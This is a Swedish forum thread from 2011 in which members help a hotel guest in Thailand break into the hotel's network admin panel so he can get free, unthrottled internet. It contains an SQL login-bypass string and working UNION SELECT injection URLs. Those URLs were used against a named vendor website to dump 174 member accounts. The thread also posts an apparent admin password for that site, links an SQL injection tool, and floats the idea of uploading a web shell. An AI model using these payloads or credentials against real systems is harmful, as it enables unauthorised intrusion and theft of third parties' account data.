1. Dator och IT
  2. IT-säkerhet

Komma förbi adminpanel till hotellnätverk?

Svara
  • 1
  • 2
2011-04-26, 18:36
  #13
ant'
Medlem
ant's avatar
Citat:
Ursprungligen postat av moshkebab
Testat alla standard kombinationer i adminpanel inget funkar där dock fungerar admin:admin där man loggar in till anslutningen så nu har jag internet iaf.
Jag tror jag har hittat ett hål dock, det finns ett formulär där man kan se sin statistik och där kan man välja datum och det ser ut såhär

http://img852.imageshack.us/i/skrmavbild20110426kl123.png/


och skriver man 1' i "from" fältet får man ett sånt här error, jag antar att det är sårbart för SQLis
men skriver man 1 ORDER BY 5-- tex så får man inga errors, hur ska jag gå vidare om jag vill dumpa databasen så jag kan bypassa systemet och slipper att dom blockerar utorrent och sänker hastigheten osv


http://img709.imageshack.us/i/skrmavbild20110426kl123.png/
' or ''=''

Som användarnamn och lösenord.
Citera
2011-04-26, 19:54
  #14
Nytt-konto
Medlem
Nytt-kontos avatar
Citat:
Ursprungligen postat av moshkebab
Tjo, sitter o chillar på ett hotell i thailand just nu och jag undrar hur man kommer förbi deras adminpanel? Internetet är skitdyrt och dom blockerar en massa saker

Har försökt med diverse sql-injections i ett par dagar och försökt läsa mig till vilket system dom använder. Men mina hackingskillz är inte så bra så nu ber jag er om en knuff i rätt rikting

Det jag vet än sålänge.

Dom kör det här systemet, bara logga in o provköra det.

http://www.kkthai.com/lisg_v2.4/

Mer kan man läsa om det här
http://translate.google.com/translate?js=n&prev=_t&hl=sv&ie=UTF-8&layout=2&eotf=1&sl=th&tl=en&u=http%3A%2F%2Fwww.k kthai.com


Jag uppskattar all hjälp jag får
admin:suwannahong!

Sidan var iallafall inte så säker
Citera
2011-04-26, 21:33
  #15
moshkebab
Medlem
Haha vänta, knäckte du kkthai´s hemsida? förklara
Citera
2011-04-26, 21:40
  #16
Nytt-konto
Medlem
Nytt-kontos avatar
Citat:
Ursprungligen postat av moshkebab
Haha vänta, knäckte du kkthai´s hemsida? förklara
Haha aa sql injektion på kkthai.com och dumpade alla konton (174 st + 1 admin konto).
Citera
2011-04-26, 21:46
  #17
moshkebab
Medlem
haha, knas Det där var ju ett test system bara

Lust att förklara hur du gick tillväga med SQLi´n?
Citera
2011-04-26, 21:49
  #18
Nytt-konto
Medlem
Nytt-kontos avatar
Citat:
Ursprungligen postat av moshkebab
haha, knas Det där var ju ett test system bara

Lust att förklara hur du gick tillväga med SQLi´n?
http://www.kkthai.com/wboard/wboard.php?is_menu=&cat=-8+union+select+1,@@version,3

http://www.kkthai.com/wboard/wboard.php?is_menu=&cat=-8+union+select+1,group_concat%28name,0x3a,email,0x 3a,pass%29,3+from+cs_member

Citera
2011-04-26, 23:16
  #19
tmxseven
Medlem
tmxsevens avatar
Citat:
Ursprungligen postat av moshkebab
Testat alla standard kombinationer i adminpanel inget funkar där dock fungerar admin:admin där man loggar in till anslutningen så nu har jag internet iaf.
Jag tror jag har hittat ett hål dock, det finns ett formulär där man kan se sin statistik och där kan man välja datum och det ser ut såhär

http://img852.imageshack.us/i/skrmavbild20110426kl123.png/


och skriver man 1' i "from" fältet får man ett sånt här error, jag antar att det är sårbart för SQLis
men skriver man 1 ORDER BY 5-- tex så får man inga errors, hur ska jag gå vidare om jag vill dumpa databasen så jag kan bypassa systemet och slipper att dom blockerar utorrent och sänker hastigheten osv


http://img709.imageshack.us/i/skrmavbild20110426kl123.png/

Kan du inte ge ut hotellets hemsida? Går det att utföra SQLi i adressfältet?
Detta program hjälper dig med SQLi: http://www.speedyshare.com/files/28164651/SQLIHelperV.2.7.rar
Citera
2011-04-27, 11:29
  #20
moshkebab
Medlem
Ja visst, http://www.kamalabeach.com/ det ända dom har som är användbart är ett galleri och då lär du ju finnas ett uppladdnings script där man kan ladda upp ett shell eller?

Sitter för tillfället i OSX miljö och kan tyvär inte prova programmet vet du om det fungerar med Crossover?
Citera
2011-04-27, 15:45
  #21
tmxseven
Medlem
tmxsevens avatar
Reservation systemets hemsida, som bl.a. det hotell du bor på använder, är sårbart mot SQLi. Hotellets hemsida använder tredjepart programvara för att låta folk reservera via sin hemsida. Verkar dock lite komplicerat om du ska gå den vägen.

Citera
Svara
  • 1
  • 2

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in